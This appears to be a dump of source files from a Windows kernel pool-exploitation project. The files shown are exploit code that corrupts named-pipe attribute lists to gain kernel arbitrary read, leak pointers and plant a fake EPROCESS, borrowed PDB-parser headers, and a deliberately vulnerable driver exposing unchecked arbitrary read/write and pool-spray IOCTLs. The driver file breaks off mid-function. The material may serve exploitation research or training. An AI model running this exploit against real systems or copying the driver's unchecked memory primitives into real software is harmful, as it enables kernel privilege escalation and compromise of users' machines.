pp_exploit_arbitrary_read(xploit_t * xploit, uintptr_t where, char * out, size_t size) 9 | { 10 | char arb_read[0x1000]; 11 | size_t ask_size; 12 | memset(arb_read, 0x48, sizeof(arb_read)); 13 | 14 | ask_size = size; 15 | 16 | // If size is <= 8, it doesn't use the pointer 17 | if (ask_size <= 8) 18 | ask_size = 9; 19 | 20 | // I need a temporary buffer and don't want to code a loop, so max it to 0x1000 21 | if (ask_size >= 0x1000) 22 | ask_size = 0xFFF; 23 | 24 | xploit->fake_pipe_attribute->ValueSize = ask_size; 25 | xploit->fake_pipe_attribute->AttributeValue = (char *)where; 26 | 27 | // use a temporary buffer to avoid overflowing in our program 28 | if (!get_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, 0x1000)) 29 | { 30 | fprintf(stderr, "[-] Failed to set pipe attribute !"); 31 | exit(0); 32 | } 33 | memcpy(out, arb_read, size); 34 | } 35 | 36 | uintptr_t pp_find_file_object(xploit_t * xploit) 37 | { 38 | uintptr_t file_object_ptr; 39 | 40 | // FsContext2 structure of NPFS. Find the pointer on the file object in the structure 41 | file_object_ptr = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET; 42 | xploit->leak_root_queue = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + ROOT_PIPE_QUEUE_ENTRY_OFFSET; 43 | 44 | printf("[+] leak_root_queue is : 0x%llX\n", xploit->leak_root_queue); 45 | return file_object_ptr; 46 | 47 | } 48 | 49 | void pp_alloc_fake_eprocess(xploit_t * xploit, char * fake_eprocess_buf) 50 | { 51 | uintptr_t fake_eprocess_queue_entry; 52 | // The list is currently 53 | // ROOT -> GHOST -> FAKE -> 0xDEADDEADCAFE0000 (next chain) 54 | // so fix it to have 55 | // ROOT -> GHOST -> FAKE -> ROOT (next chain) 56 | // because the list is walked when setting a new attribute 57 | // xploit->fake_pipe_attribute->list.Flink = (struct _LIST_ENTRY *)xploit->leak_root_attribute; 58 | 59 | // The pipe attribute list is corrupted, use the pipe queue entry to store arbitrary data in the kernel 60 | write_pipe(&xploit->ghosts->pipes[xploit->ghost_idx], fake_eprocess_buf + DUMB_ATTRIBUTE_NAME2_LEN, FAKE_EPROCESS_SIZE * 2); 61 | 62 | // We can read prev or next of the root to find the entry that contains the arbitrary data 63 | pp_exploit_arbitrary_read(xploit, xploit->leak_root_queue, (char *)&fake_eprocess_queue_entry, 0x8); 64 | printf("[+] fake process queue pipe is : 0x%llx\n", fake_eprocess_queue_entry); 65 | 66 | // the data is at Entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT 67 | xploit->fake_eprocess = fake_eprocess_queue_entry + LEN_OF_PIPE_QUEUE_ENTRY_STRUCT; 68 | 69 | 70 | } 71 | 72 | void pp_free_ghost_chunk(xploit_t * xploit) 73 | { 74 | // Set a pipe attribute with only the name delete this attribute 75 | set_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN); 76 | } 77 | 78 | void pp_alloc_ghost_chunk(xploit_t * xploit, char * buffer) 79 | { 80 | // After the add, the chain is 81 | // ROOT -> GHOST -> ROOT (next chain) 82 | // ROOT <- GHOST <- ROOT (previous chain) 83 | set_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], buffer, xploit->ghost_chunk_size - xploit->struct_header_size); 84 | } 85 | 86 | void pp_setup_final_write(xploit_t * xploit, char * buffer) 87 | { 88 | /** 89 | * restore list 90 | * ROOT -> GHOST -> ROOT (next chain) 91 | * ROOT <- GHOST <- ROOT (previous chain) 92 | **/ 93 | strcpy(buffer, ATTRIBUTE_NAME); 94 | 95 | // rebuild the pipe attribute object so it doesn't crash 96 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x10) = xploit->leak_root_attribute; // list.next 97 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x18) = xploit->leak_root_attribute; // list.prev 98 | *(uintptr_t *)((unsigned char *)buffer + xploit->ghost_chunk_offset + 0x20) = (uintptr_t)ATTRIBUTE_NAME; // AttributeName 99 | } 100 | 101 | void pp_setup_ghost_overwrite(xploit_t * xploit, char * ghost_overwrite_buf) 102 | { 103 | pipe_attribute_t * overwritten_pipe_attribute; 104 | 105 | // The pipe attribute overwritten in the ghost chunk 106 | strcpy(ghost_overwrite_buf, ATTRIBUTE_NAME); 107 | overwritten_pipe_attribute = (pipe_attribute_t*)((char *)ghost_overwrite_buf + xploit->ghost_chunk_offset + POOL_HEADER_SIZE); 108 | 109 | // make point the next attribute in userland 110 | overwritten_pipe_attribute->list.Flink = (LIST_ENTRY *)xploit->fake_pipe_attribute; 111 | 112 | // dummy value, must fix this before exiting to avoid crash 113 | overwritten_pipe_attribute->list.Blink = (LIST_ENTRY *)0xDEADBEEFCAFEB00B; 114 | 115 | // Set the attrbiute name to a dumb value se we nerver find it when we try to read and attribute from here 116 | // So it will always go the next attribute which points in userland ! 117 | overwritten_pipe_attribute->AttributeName = DUMB_ATTRIBUTE_NAME; 118 | overwritten_pipe_attribute->ValueSize = 0x1; 119 | overwritten_pipe_attribute->AttributeValue = DUMB_ATTRIBUTE_NAME; 120 | } 121 | 122 | int pp_get_leak(xploit_t * xploit, pipe_spray_t * respray) 123 | { 124 | char leak[0x1000] = {0}; 125 | //Leak offset point to ghost_chunk_offset 126 | xploit->leak_offset = xploit->targeted_vuln_size 127 | + xploit->offset_to_pool_header - xploit->backward_step 128 | - xploit->struct_header_size - ATTRIBUTE_NAME_LEN; 129 | LOG_DEBUG("Leak offset is 0x%X", xploit->leak_offset); 130 | 131 | // leak the data contained in ghost chunk 132 | xploit->leaking_pipe_idx = read_pipes(respray, leak); 133 | if (xploit->leaking_pipe_idx == -1) 134 | { 135 | if (xploit->backend == LFH) 136 | fprintf(stderr, "[-] Reading pipes found no leak :(\n"); 137 | else 138 | LOG_DEBUG("Reading pipes found no leak"); 139 | return 0; 140 | } 141 | 142 | LOG_DEBUG("Pipe %d of respray leaked data !", xploit->leaking_pipe_idx); 143 | 144 | // leak pipe attribute structure ! 145 | xploit->leak_root_attribute = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x10); // list.next 146 | xploit->leak_attribute_name = *(uintptr_t *)((char *)leak + xploit->leak_offset + 0x20); // AttributeName 147 | 148 | // 0x10 is POOL_HEADER 149 | xploit->ghost_chunk = xploit->leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE; 150 | 151 | printf("[+] xploit->leak_root_attribute ptr is 0x%llX\n", xploit->leak_root_attribute); 152 | printf("[+] xploit->ghost_chunk ptr is 0x%llX\n", xploit->ghost_chunk); 153 | 154 | return 1; 155 | } 156 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_symbols.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file include/pdb_symbols.h 3 | * @brief Symbols 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #ifndef RETDEC_PDBPARSER_PDB_SYMBOLS_H 8 | #define RETDEC_PDBPARSER_PDB_SYMBOLS_H 9 | 10 | #include "pdb_info.h" 11 | #include "pdb_types.h" 12 | #include "pdb_utils.h" 13 | 14 | namespace retdec { 15 | namespace pdbparser { 16 | 17 | class PDBSymbols; 18 | 19 | // ================================================================= 20 | // LOCAL VARIABLE STRUCTURES 21 | // ================================================================= 22 | 23 | // Local variable location 24 | enum ePDBLocVarLocation 25 | { 26 | PDBLVLOC_REGISTER, PDBLVLOC_BPREL32, PDBLVLOC_REGREL32 27 | }; 28 | 29 | // PDB local variable 30 | typedef struct _PDBLocalVariable 31 | { 32 | char * name; // Name 33 | ePDBLocVarLocation location; // Location 34 | int block; // Function block 35 | int offset; // Offset (ignored for register) 36 | int register_num; // Register number (ignored for bprel32) 37 | unsigned int type_index; // Type index 38 | PDBTypeDef * type_def; // Type definition 39 | } PDBLocalVariable; 40 | 41 | // ================================================================= 42 | // CLASS PDBFunction 43 | // ================================================================= 44 | 45 | // PDB data inside function's code 46 | typedef struct _PDBFunctionData 47 | { 48 | char * name; // Name 49 | uint64_t address; // Virtual address (image base + section address + offset) 50 | int offset; // Offset 51 | int section; // Segment 52 | unsigned int type_index; // Type index 53 | PDBTypeDef * type_def; // Type definition 54 | } PDBFunctionData; 55 | 56 | // PDB line number information 57 | typedef struct _PDBLineInfo 58 | { 59 | int line; 60 | unsigned int offset; 61 | } PDBLineInfo; 62 | 63 | class PDBFunction 64 | { 65 | public: 66 | char * name = nullptr; // Function name 67 | int overload_index = 0; // Function is overloaded (number of function's occurrence) 68 | uint64_t address = 0; // Virtual address (image base + section address + offset) 69 | int offset = 0; // Function offset 70 | int section = 0; // And section 71 | int module_index = 0; // In which module the function is 72 | int length = 0; // Function length 73 | unsigned int type_index = 0; // Type index 74 | PDBTypeFunction * type_def = nullptr; // Type definition 75 | std::vector arguments; // List of function arguments 76 | std::vector loc_variables; // List of local variables 77 | std::vector blocks; // List of code blocks (value is offset) 78 | std::vector data; // List of data objects stored in function's code 79 | std::vector lines; // Line number information 80 | 81 | PDBFunction(int cur_module) : module_index(cur_module) 82 | { 83 | } 84 | ; // Constructor 85 | void dump(void); // Dump function 86 | bool parse_symbol(PDBGeneralSymbol *symbol, PDBTypes *types, PDBSymbols *pdbsyms); // Parse given symbol 87 | void parse_line_info(LineInfoHeader *hdr); // Parse line information 88 | std::string getNameWithOverloadIndex() const; 89 | private: 90 | int args_remain = 0; // Number of arguments remaining to add 91 | int cur_block = 0; // Number of current block 92 | int depth = 0; // Depth of blocks 93 | }; 94 | 95 | // PDB function map (key is address) 96 | typedef std::map PDBFunctionAddressMap; 97 | 98 | // ================================================================= 99 | // GLOBAL VARIABLE STRUCTURES 100 | // ================================================================= 101 | 102 | // PDB global variable 103 | typedef struct _PDBGlobalVariable 104 | { 105 | char * name; // Name 106 | uint64_t address; // Virtual address (image base + section address + offset) 107 | int offset; // Offset (ignored for register) 108 | int section; // Segment 109 | int module_index; // In which module the variable is 110 | unsigned int type_index; // Type index 111 | PDBTypeDef * type_def; // Type definition 112 | } PDBGlobalVariable; 113 | 114 | // PDB global variable map (key is segment+offset (in int32 : SSOOOOOO)) 115 | typedef std::map PDBGlobalVarAddressMap; 116 | 117 | // ================================================================= 118 | // MAIN CLASS PDBSymbols 119 | // ================================================================= 120 | 121 | class PDBSymbols 122 | { 123 | public: 124 | // Constructor and destructor 125 | PDBSymbols(PDBStream *gsi, PDBStream *psi, PDBStream *sym, PDBModulesVec & m, PDBSectionsVec & s, 126 | PDBTypes * tps) : 127 | // pdb_gsi_size(gsi->size), 128 | // pdb_gsi_data(gsi->data), 129 | // pdb_psi_size(psi->size), 130 | // pdb_psi_data(psi->data), 131 | pdb_sym_size(sym->size), pdb_sym_data(sym->data), modules(m), sections(s), types(tps), parsed(false) 132 | { 133 | } 134 | ; 135 | ~PDBSymbols(void); 136 | 137 | // Action methods 138 | void parse_symbols(void); 139 | 140 | // Getting methods 141 | PDBFunctionAddressMap & get_functions(void) 142 | { 143 | return functions; 144 | } 145 | ; 146 | PDBGlobalVarAddressMap & get_global_variables(void) 147 | { 148 | return global_variables; 149 | } 150 | ; 151 | 152 | /** 153 | * Get virtual address from section index and offset of symbol 154 | */ 155 | uint64_t get_virtual_address(unsigned int section, unsigned int offset) 156 | { 157 | if (sections.size() > section) 158 | return sections[section].virtual_address + offset; 159 | else 160 | return -1; 161 | } 162 | ; 163 | 164 | /** 165 | * 166 | */ 167 | uint64_t get_file_address(unsigned int section, unsigned int offset) 168 | { 169 | if (sections.size() > section) 170 | return sections[section].file_address + offset; 171 | else 172 | return -1; 173 | } 174 | ; 175 | 176 | // Printing methods 177 | void dump_global_symbols(void); 178 | void dump_module_symbols(int index); 179 | void dump_all_modules(void); 180 | void print_functions(void); 181 | PDBFunction* get_function_by_name(const char* name); 182 | PDBGlobalVariable* get_global_variable_by_name(const char* name); 183 | void print_global_variable(PDBGlobalVariable* val); 184 | void print_global_variables(void); 185 | 186 | private: 187 | // Internal functions 188 | static void dump_symbol(PSYM Sym); 189 | 190 | // Variables 191 | // unsigned int pdb_gsi_size; // size of GSI stream 192 | // char * pdb_gsi_data; // data from GSI stream 193 | // unsigned int pdb_psi_size; // size of PSI stream 194 | // char * pdb_psi_data; // data from PSI stream 195 | unsigned int pdb_sym_size; // size of SYM stream 196 | char * pdb_sym_data; // data from SYM stream 197 | PDBModulesVec & modules; // modules 198 | PDBSectionsVec & sections; // sections 199 | PDBTypes * types; // types 200 | bool parsed; // modules are parsed 201 | 202 | // Data containers 203 | PDBFunctionAddressMap functions; // Map of functions (key is address) 204 | PDBGlobalVarAddressMap global_variables; // Map of global variables (key is address) 205 | }; 206 | 207 | } // namespace pdbparser 208 | } // namespace retdec 209 | 210 | #endif 211 | -------------------------------------------------------------------------------- /poolqudong/poolqudong/poolqudong.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | Debug 22 | ARM 23 | 24 | 25 | Release 26 | ARM 27 | 28 | 29 | Debug 30 | ARM64 31 | 32 | 33 | Release 34 | ARM64 35 | 36 | 37 | 38 | {570FDC54-F8A8-4E6E-8D5B-F0B8C5F7141E} 39 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 40 | v4.5 41 | 12.0 42 | Debug 43 | Win32 44 | poolqudong 45 | 46 | 47 | 48 | Windows10 49 | true 50 | WindowsKernelModeDriver10.0 51 | Driver 52 | WDM 53 | false 54 | 55 | 56 | Windows10 57 | false 58 | WindowsKernelModeDriver10.0 59 | Driver 60 | WDM 61 | 62 | 63 | Windows10 64 | true 65 | WindowsKernelModeDriver10.0 66 | Driver 67 | WDM 68 | false 69 | 70 | 71 | Windows10 72 | false 73 | WindowsKernelModeDriver10.0 74 | Driver 75 | WDM 76 | 77 | 78 | Windows10 79 | true 80 | WindowsKernelModeDriver10.0 81 | Driver 82 | WDM 83 | 84 | 85 | Windows10 86 | false 87 | WindowsKernelModeDriver10.0 88 | Driver 89 | WDM 90 | 91 | 92 | Windows10 93 | true 94 | WindowsKernelModeDriver10.0 95 | Driver 96 | WDM 97 | 98 | 99 | Windows10 100 | false 101 | WindowsKernelModeDriver10.0 102 | Driver 103 | WDM 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | DbgengKernelDebugger 115 | 116 | 117 | DbgengKernelDebugger 118 | 119 | 120 | DbgengKernelDebugger 121 | 122 | 123 | DbgengKernelDebugger 124 | 125 | 126 | DbgengKernelDebugger 127 | 128 | 129 | DbgengKernelDebugger 130 | 131 | 132 | DbgengKernelDebugger 133 | 134 | 135 | DbgengKernelDebugger 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | -------------------------------------------------------------------------------- /poolfs/poolfs/src/pdb_file.h: -------------------------------------------------------------------------------- 1 | /** 2 | * @file include/pdb_file.h 3 | * @brief PDB file 4 | * @copyright (c) 2017 Avast Software, licensed under the MIT license 5 | */ 6 | 7 | #ifndef RETDEC_PDBPARSER_PDB_FILE_H 8 | #define RETDEC_PDBPARSER_PDB_FILE_H 9 | 10 | #include "pdb_info.h" 11 | #include "pdb_symbols.h" 12 | #include "pdb_types.h" 13 | #include "pdb_utils.h" 14 | 15 | namespace retdec { 16 | namespace pdbparser { 17 | 18 | // ================================================================= 19 | // STATES 20 | // ================================================================= 21 | 22 | enum PDBFileState 23 | { 24 | PDB_STATE_OK, 25 | PDB_STATE_ALREADY_LOADED, 26 | PDB_STATE_ERR_FILE_OPEN, 27 | PDB_STATE_INVALID_FILE, 28 | PDB_STATE_UNSUPPORTED_VERSION 29 | }; 30 | 31 | // ================================================================= 32 | // PDB_VERSIONS 33 | // ================================================================= 34 | 35 | #define PDB_VERSION_200 0x200 // binary version number 36 | #define PDB_SIGNATURE_200_SIZE 0x2C // signature size (bytes) 37 | #define PDB_SIGNATURE_200 "Microsoft C/C++ program database 2.00\r\n\032JG\0" 38 | 39 | #define PDB_VERSION_700 0x700 // binary version number 40 | #define PDB_SIGNATURE_700_SIZE 0x20 // signature size (bytes) 41 | #define PDB_SIGNATURE_700 "Microsoft C/C++ MSF 7.00\r\n\032DS\0\0" 42 | 43 | // some arbitrary, hopefully big enough, signature size 44 | #define PDB_VERSION_INDEPENDENT_SIGNATURE_SIZE 0x100 45 | 46 | // ================================================================= 47 | // STREAM IDS 48 | // ================================================================= 49 | 50 | #define PDB_STREAM_ROOT 0 // PDB root directory 51 | #define PDB_STREAM_PDB 1 // PDB stream info 52 | #define PDB_STREAM_TPI 2 // type info 53 | #define PDB_STREAM_DBI 3 // debug info 54 | 55 | // ================================================================= 56 | // PDB 2.00 STRUCTURES 57 | // ================================================================= 58 | 59 | typedef struct _PDB_STREAM_200 60 | { 61 | PDB_DWORD dStreamBytes; // stream size (-1 = unused) 62 | PDB_PVOID pReserved; // implementation dependent 63 | } PDB_STREAM_200; 64 | 65 | // ----------------------------------------------------------------- 66 | 67 | typedef struct _PDB_HEADER_200 68 | { 69 | PDB_BYTE abSignature[PDB_SIGNATURE_200_SIZE]; // version ID 70 | PDB_DWORD dPageBytes; // 0x0400, 0x0800, 0x1000 71 | PDB_WORD wStartPage; // 0x0009, 0x0005, 0x0002 72 | PDB_WORD wFilePages; // file size / dPageBytes 73 | PDB_STREAM_200 RootStream; // stream directory 74 | PDB_WORD awRootPages[]; // pages containing PDB_ROOT_200 75 | } PDB_HEADER_200; 76 | 77 | // ----------------------------------------------------------------- 78 | 79 | typedef struct _PDB_ROOT_200 80 | { 81 | PDB_WORD wStreams; // number of streams 82 | PDB_WORD wReserved; // not used 83 | PDB_STREAM_200 aStreams[]; // stream size list 84 | } PDB_ROOT_200; 85 | 86 | // ================================================================= 87 | // PDB 7.00 STRUCTURES 88 | // ================================================================= 89 | 90 | typedef struct _PDB_HEADER_700 91 | { 92 | PDB_BYTE abSignature[PDB_SIGNATURE_700_SIZE]; // version ID 93 | PDB_DWORD dBytesPerPage; // 0x0400 94 | PDB_DWORD dFlagPage; // 0x0002 95 | PDB_DWORD dNumPages; // number of pages in file 96 | PDB_DWORD dRootSize; // stream directory size 97 | PDB_DWORD dReserved; // 0 98 | PDB_DWORD dRootIndexesPage; // root page index 99 | } PDB_HEADER_700; 100 | 101 | // ----------------------------------------------------------------- 102 | 103 | typedef struct _PDB_ROOT_700 104 | { 105 | PDB_DWORD dNumStreams; // number of streams 106 | PDB_DWORD adStreamSizes[]; // stream size list 107 | } PDB_ROOT_700; 108 | 109 | // ================================================================= 110 | // VERSION-INDEPENDENT PDB STRUCTURES 111 | // ================================================================= 112 | 113 | typedef union _PDB_HEADER 114 | { 115 | PDB_BYTE abSignature[PDB_VERSION_INDEPENDENT_SIGNATURE_SIZE]; // version signature 116 | PDB_HEADER_200 V200; // version 2.00 header 117 | PDB_HEADER_700 V700; // version 7.00 header 118 | } PDB_HEADER; 119 | 120 | // ----------------------------------------------------------------- 121 | 122 | typedef union _PDB_ROOT 123 | { 124 | PDB_ROOT_200 V200; // version 2.00 root directory 125 | PDB_ROOT_700 V700; // version 7.00 root directory 126 | } PDB_ROOT; 127 | 128 | 129 | // ================================================================= 130 | // CLASS PDBFile 131 | // ================================================================= 132 | 133 | class PDBFile 134 | { 135 | public: 136 | PDBFile(void) : 137 | pdb_loaded(false), pdb_initialized(false), pdb_filename(nullptr), pdb_version(0), page_size(0), pdb_file_size( 138 | 0), pdb_file_data( 139 | nullptr), num_streams(0), pdb_fpo_num(0), pdb_newfpo_num(0), pdb_sec_num(0), pdb_header(nullptr), pdb_root_dir( 140 | nullptr), pdb_info_v700(nullptr), dbi_header_v700(nullptr), pdb_types(nullptr), pdb_symbols(nullptr) 141 | { 142 | } 143 | ; 144 | ~PDBFile(void); 145 | 146 | // Action methods 147 | PDBFileState load_pdb_file(const wchar_t*filename); 148 | DWORD64 PeGetImportThunkDataRaw(LPCSTR dll_name, LPCSTR func_name); 149 | PDBFileState load_image_file(const wchar_t* filename); 150 | void initialize(uint64_t image_base = 0); 151 | bool save_streams_to_files(void); 152 | 153 | // Getting methods 154 | unsigned int get_version(void) 155 | { 156 | return pdb_version; 157 | } 158 | PDBStream * get_stream(unsigned int num) 159 | { 160 | if (num < num_streams) 161 | return &streams[num]; 162 | else 163 | return nullptr; 164 | } 165 | const char * get_module_name(unsigned int num) 166 | { 167 | if (num < modules.size()) 168 | return modules[num].name; 169 | else 170 | return nullptr; 171 | } 172 | PDBTypes * get_types_container(void) 173 | { 174 | return pdb_types; 175 | } 176 | PDBSymbols * get_symbols_container(void) 177 | { 178 | return pdb_symbols; 179 | } 180 | PDBFunctionAddressMap * get_functions(void) 181 | { 182 | if (pdb_symbols != nullptr) 183 | return &pdb_symbols->get_functions(); 184 | else 185 | return nullptr; 186 | } 187 | PDBGlobalVarAddressMap * get_global_variables(void) 188 | { 189 | if (pdb_symbols != nullptr) 190 | return &pdb_symbols->get_global_variables(); 191 | else 192 | return nullptr; 193 | } 194 | 195 | // Printing methods 196 | void print_pdb_file_info(void); 197 | void print_modules(void); 198 | void dump_FPO(void); 199 | void dump_PE_sections(void); 200 | 201 | private: 202 | // Internal functions 203 | bool stream_is_linear(PDB_DWORD *pages, int num_pages); 204 | char * extract_stream(PDB_DWORD *pages, int num_pages); 205 | PDBFileState load_pdb_v200(void); 206 | PDBFileState load_pdb_v700(void); 207 | void parse_modules(void); 208 | void parse_sections(uint64_t image_base); 209 | char* pdb_file_data; 210 | // Variables 211 | bool pdb_loaded; 212 | bool pdb_initialized; 213 | const wchar_t* pdb_filename; 214 | unsigned int pdb_version; 215 | unsigned int page_size; 216 | unsigned int pdb_file_size; 217 | char * image_file_data; 218 | unsigned int num_streams; 219 | int pdb_fpo_num; 220 | int pdb_newfpo_num; 221 | int pdb_sec_num; 222 | 223 | // Data structure pointers 224 | PDB_HEADER * pdb_header; 225 | PDB_ROOT * pdb_root_dir; 226 | PDBInfo70 * pdb_info_v700; 227 | NewDBIHdr * dbi_header_v700; 228 | 229 | // Child objects 230 | PDBTypes * pdb_types; 231 | PDBSymbols * pdb_symbols; 232 | 233 | // Data containers 234 | PDBStreamsVec streams; 235 | PDBModulesVec modules; 236 | PDBSectionsVec sections; 237 | 238 | }; 239 | 240 | } // namespace pdbparser 241 | } // namespace retdec 242 | 243 | #endif 244 | -------------------------------------------------------------------------------- /poolqudong/poolqudong/Driver.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | #include "Driver.h" 4 | #include "Ioctl.h" 5 | 6 | #define MAX_SPRAY 0x1000 7 | #define MAX_ALLOCS_BY_SPRAY 0x10000 8 | 9 | char * g_Buffer = nullptr; 10 | 11 | size_t nb_sprays = 0; 12 | spray_t * g_sprays[MAX_SPRAY] = { NULL }; 13 | 14 | 15 | extern "C" 16 | NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath) 17 | { 18 | PDEVICE_OBJECT DeviceObject = NULL; 19 | NTSTATUS Status = STATUS_UNSUCCESSFUL; 20 | UINT32 i = 0; 21 | UNICODE_STRING DeviceName, DosDeviceName = { 0 }; 22 | 23 | UNREFERENCED_PARAMETER(RegistryPath); 24 | 25 | RtlInitUnicodeString(&DeviceName, L"\\Device\\vulnerable_driver"); 26 | RtlInitUnicodeString(&DosDeviceName, L"\\DosDevices\\vulnerable_driver"); 27 | 28 | // Create the device 29 | Status = IoCreateDevice(DriverObject, 30 | 0, 31 | &DeviceName, 32 | FILE_DEVICE_UNKNOWN, 33 | FILE_DEVICE_SECURE_OPEN, 34 | FALSE, 35 | &DeviceObject); 36 | 37 | if (!NT_SUCCESS(Status)) { 38 | if (DeviceObject) { 39 | // Delete the device 40 | IoDeleteDevice(DeviceObject); 41 | } 42 | return Status; 43 | } 44 | 45 | // Assign the IRP handlers 46 | for (i = 0; i <= IRP_MJ_MAXIMUM_FUNCTION; i++) { 47 | DriverObject->MajorFunction[i] = IrpNotImplementedHandler; 48 | } 49 | 50 | // Assign the IRP handlers for Create, Close and Device Control 51 | DriverObject->MajorFunction[IRP_MJ_CREATE] = IrpCreateCloseHandler; 52 | DriverObject->MajorFunction[IRP_MJ_CLOSE] = IrpCreateCloseHandler; 53 | DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceIoCtlHandler; 54 | 55 | // Assign the driver Unload routine 56 | DriverObject->DriverUnload = DriverUnload; 57 | 58 | 59 | // Set the flags 60 | DeviceObject->Flags |= DO_DIRECT_IO; 61 | DeviceObject->Flags &= ~DO_DEVICE_INITIALIZING; 62 | 63 | // Create the symbolic link 64 | Status = IoCreateSymbolicLink(&DosDeviceName, &DeviceName); 65 | 66 | return Status; 67 | } 68 | 69 | NTSTATUS CommandArbitraryRead(ioctl_arb_primitive_t * user_input, char * user_output, ULONG * OutputBytes) 70 | { 71 | size_t read_size = user_input->size; 72 | 73 | memcpy(user_output, (void*)user_input->where, read_size); 74 | *OutputBytes = (ULONG)read_size; 75 | return STATUS_SUCCESS; 76 | } 77 | 78 | NTSTATUS CommandArbitraryWrite(ioctl_arb_primitive_t * user_input, size_t * user_output) 79 | { 80 | memcpy((void*)user_input->where, user_input->what, user_input->size); 81 | *user_output = user_input->size; 82 | return STATUS_SUCCESS; 83 | } 84 | 85 | 86 | 87 | NTSTATUS CommandAlloc(ioctl_alloc_t * user_input, uintptr_t * user_output) 88 | { 89 | g_Buffer = (char *) ExAllocatePoolWithTag(user_input->pooltype, user_input->alloc_size, user_input->tag); 90 | *user_output = (uintptr_t)g_Buffer; 91 | return STATUS_SUCCESS; 92 | } 93 | 94 | NTSTATUS CommandFree(void) 95 | { 96 | ExFreePoolWithTag(g_Buffer, TAG_SYN); 97 | return STATUS_SUCCESS; 98 | } 99 | 100 | NTSTATUS CommandCopy(ioctl_copy_t * user_input) 101 | { 102 | RtlCopyMemory(g_Buffer, user_input->data, user_input->buffer_size); 103 | return STATUS_SUCCESS; 104 | } 105 | 106 | NTSTATUS CommandSpray(ioctl_spray_t * user_input, uintptr_t * user_output, ULONG* OutputBytes) 107 | { 108 | size_t spray_index = 0; 109 | bool found = false; 110 | 111 | if (nb_sprays >= MAX_SPRAY) 112 | return STATUS_INVALID_PARAMETER; 113 | 114 | if (user_input->nb_allocs > MAX_ALLOCS_BY_SPRAY) 115 | return STATUS_INVALID_PARAMETER; 116 | 117 | for (size_t i = 0; i < MAX_SPRAY; i++) 118 | { 119 | if (!g_sprays[i]) 120 | { 121 | spray_index = i; 122 | found = true; 123 | break; 124 | } 125 | } 126 | 127 | if (!found) 128 | return STATUS_INVALID_PARAMETER; 129 | 130 | 131 | spray_t * spray = (spray_t *)ExAllocatePoolWithTag(PagedPool, sizeof(spray_t) + (user_input->nb_allocs * sizeof(uintptr_t)), TAG_SYN); 132 | 133 | 134 | spray->nb_allocs = user_input->nb_allocs; 135 | spray->alloc_size = user_input->alloc_size; 136 | spray->pooltype = user_input->pooltype; 137 | spray->tag = user_input->tag; 138 | spray->spray_index = spray_index; 139 | 140 | for (size_t i = 0; i < spray->nb_allocs; i++) 141 | { 142 | spray->allocs[i] = ExAllocatePoolWithTag(spray->pooltype, spray->alloc_size, spray->tag); 143 | memset(spray->allocs[i], 0x42, spray->alloc_size); 144 | } 145 | 146 | g_sprays[spray_index] = spray; 147 | nb_sprays++; 148 | 149 | *user_output = spray->spray_index; 150 | memcpy(((char *)user_output) + sizeof(size_t), (void*)spray->allocs, spray->nb_allocs * sizeof(uintptr_t)); 151 | *OutputBytes = (ULONG)(sizeof(size_t) + (spray->nb_allocs * sizeof(uintptr_t))); 152 | 153 | return STATUS_SUCCESS; 154 | } 155 | 156 | NTSTATUS CommandUnspray(size_t spray_index) 157 | { 158 | spray_t * spray = NULL; 159 | 160 | if (spray_index >= MAX_SPRAY) 161 | return STATUS_INVALID_PARAMETER; 162 | 163 | spray = g_sprays[spray_index]; 164 | 165 | if (!spray) 166 | return STATUS_INVALID_PARAMETER; 167 | 168 | for (size_t i = 0; i < spray->nb_allocs; i++) 169 | { 170 | if (spray->allocs[i] != 0) 171 | { 172 | ExFreePoolWithTag(spray->allocs[i], spray->tag); 173 | spray->allocs[i] = nullptr; 174 | } 175 | } 176 | ExFreePoolWithTag(spray, TAG_SYN); 177 | g_sprays[spray_index] = NULL; 178 | nb_sprays--; 179 | return STATUS_SUCCESS; 180 | } 181 | 182 | NTSTATUS IrpDeviceIoCtlHandler(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { 183 | ULONG IoControlCode = 0; 184 | PIO_STACK_LOCATION IrpSp = NULL; 185 | NTSTATUS Status = STATUS_SUCCESS; 186 | ULONG OutputBytes = 0; 187 | 188 | UNREFERENCED_PARAMETER(DeviceObject); 189 | 190 | IrpSp = IoGetCurrentIrpStackLocation(Irp); 191 | IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode; 192 | 193 | if (IrpSp) { 194 | switch (IoControlCode) { 195 | 196 | case IOCTL_ALLOC_BUFFER: 197 | Status = CommandAlloc((ioctl_alloc_t *)Irp->AssociatedIrp.SystemBuffer, (uintptr_t *)Irp->AssociatedIrp.SystemBuffer); 198 | OutputBytes = sizeof(uintptr_t); 199 | break; 200 | 201 | case IOCTL_FREE_BUFFER: 202 | Status = CommandFree(); 203 | break; 204 | 205 | case IOCTL_COPY: 206 | Status = CommandCopy((ioctl_copy_t *)Irp->AssociatedIrp.SystemBuffer); 207 | break; 208 | 209 | case IOCTL_SPRAY: 